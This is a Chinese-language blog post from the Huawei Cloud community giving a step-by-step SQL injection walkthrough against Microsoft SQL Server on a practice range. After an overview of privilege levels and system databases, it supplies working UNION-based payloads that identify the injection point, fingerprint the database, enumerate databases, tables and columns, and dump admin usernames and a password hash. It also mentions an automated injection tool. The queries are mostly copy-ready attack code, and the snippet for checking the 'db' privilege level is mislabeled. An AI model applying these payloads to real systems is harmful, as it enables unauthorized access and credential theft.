web安全|渗透测试|网络安全 超详细SQL serve注入

举报
黑色地带(崛起) 发表于 2023/02/16 12:33:55 2023/02/16
【摘要】 web安全|渗透测试|网络安全 超详细SQL serve注入

 SQL serve注入

SQL serve简介

Microsoft SQL Server 是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。(来自百度百科)

端口号为1433。数据库后缀名 .mdf,SQL注释符 --

QLServer有三个权限级别:

①sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限

select is_srvrolemember('sysadmin') 

②db权限:文件管理,数据库操作等权限 users-administrators

select is_srvrolemember('sysadmin') 

③public权限:数据库操作 guest-users

select is_srvrolemember('public')


系统库

master数据库

控制SQLserver的所有方面,这个数据库中包含所有的配置信息、用户登陆信息、当前正在服务器运行中的过程的信息

model数据库

是建立所有数据库时的模板,当你建立一个新数据库时,SQL server会把model数据库中的所有对象建立一份拷贝并移到新数据库中,在模板对象被拷贝到新的用户数据库之后,该数据库的所有多余空间都将被页面填满

tempdb数据库

是一个非常特殊的数据库,供所有来访问SQL server的用户使用,这个库用来保存所有的临时表、存储过程和其他SQLserver建立的临时用的东西,例如,排序时要用到tempdb数据库,数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL server重新启动,它都会清空tempdb数据库并重建,永远不要在tempdb数据库建立需要永久保存的表

msdb数据库

是SQLserver中的一个特例,如果你查看这个数据库的实际定义,会发现它其实是一个用户数据库,不同之处是SQLserver拿这个数据库用来做什么,所有的任务调度、报警、操作员都存储在msdb数据库中,该库的另一个功能是用来存储所有备份历史,SQL server agent将会使用这个库

information_schema

是在SQL server2000及更高版本存在的,可以检索数据库中的对象的元数据,与MySQL中的有相同的功能,它是符合ISO标准的,与sys不同,sys是微软自己搞出来的东西






墨者靶场


SQL手工注入漏洞测试(Sql Server数据库) 

编辑


第一步:判断是否有注入点,注入参数类型

(报错可能有注入点)

编辑

and 1=1

and 1=2 

(and 1=1正确显示,and 1=2 报错,存在注入点)

编辑

编辑


第二步:判断数据库类型

and (select count(*) from sysobjects)>0

(回显正常为SQL serve(mssql)数据库)

编辑




第三步:判断回显字段数

order by 4  (回显正常)

order by 5 (错误)

回显字段数为4

编辑

编辑



第四步:获取数据库名

and 1=2 union all select 1,2,db_name(),4

编辑

?id=-2 union all select '22','33',db_name(1),'55'
?id=-2 union all select '22','33',db_name(2),'55'
?id=-2 union all select '22','33',db_name(3),'55'
?id=-2 union all select '22','33',db_name(4),'55'

数据库有:mozhe_db_v2、master、tempdb、model、msdb



第五步:获取指定库的所有表 

?id=-1 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where type='u'),'3',4

(xtype和type回显都行)

编辑


第六步:获取字段

?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1)from sysobjects),'3',4

编辑

?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),2)from sysobjects),'3',4

编辑


?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),3)from sysobjects),'3',4

编辑



第七步:获取数据

?id=-2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4

编辑



第八步:解密,登录

72e1bfc3f01b7583

编辑

编辑


工具注入:

pangolin

填写URL,type,数据库类型-----然后开始 

编辑

点击data----all-----勾选-----datas-----获得数据

编辑

 编辑



【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。